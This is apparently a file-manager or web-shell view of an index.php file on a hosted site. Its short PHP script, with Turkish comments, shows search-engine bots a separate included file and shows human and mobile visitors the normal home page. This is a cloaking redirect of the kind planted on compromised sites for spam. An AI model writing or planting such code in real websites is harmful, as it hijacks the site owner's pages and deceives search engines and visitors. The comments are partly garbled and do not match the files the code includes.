File "index.php"
Full path: /home/fsibplc/public_html/fsib/firstcash/index.php
File
size: 581 B (581 B bytes)
MIME-type: text/x-php
Charset: utf-8
Download Open Edit Advanced Editor Back
<?php
// Kullanici IP'si ve User-Agent'i kontrol et
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$is_mobile = preg_match('/(iphone|ipod|android|blackberry|windows phone)/i', $user_agent); // Mobil cihaz kontrol
// Google ile ilgili user-agent kontrolleri
if (stripos($user_agent, 'google') !== false || stripos($user_agent, 'bot') !== false) {
include('file.php'); // Google bot ise google.php gster
} elseif ($is_mobile) {
include('home.php'); // Mobil cihaz ise kullanici.php gster
} else {
include('home.php'); // Diger durumlar iin default ierik
}
?>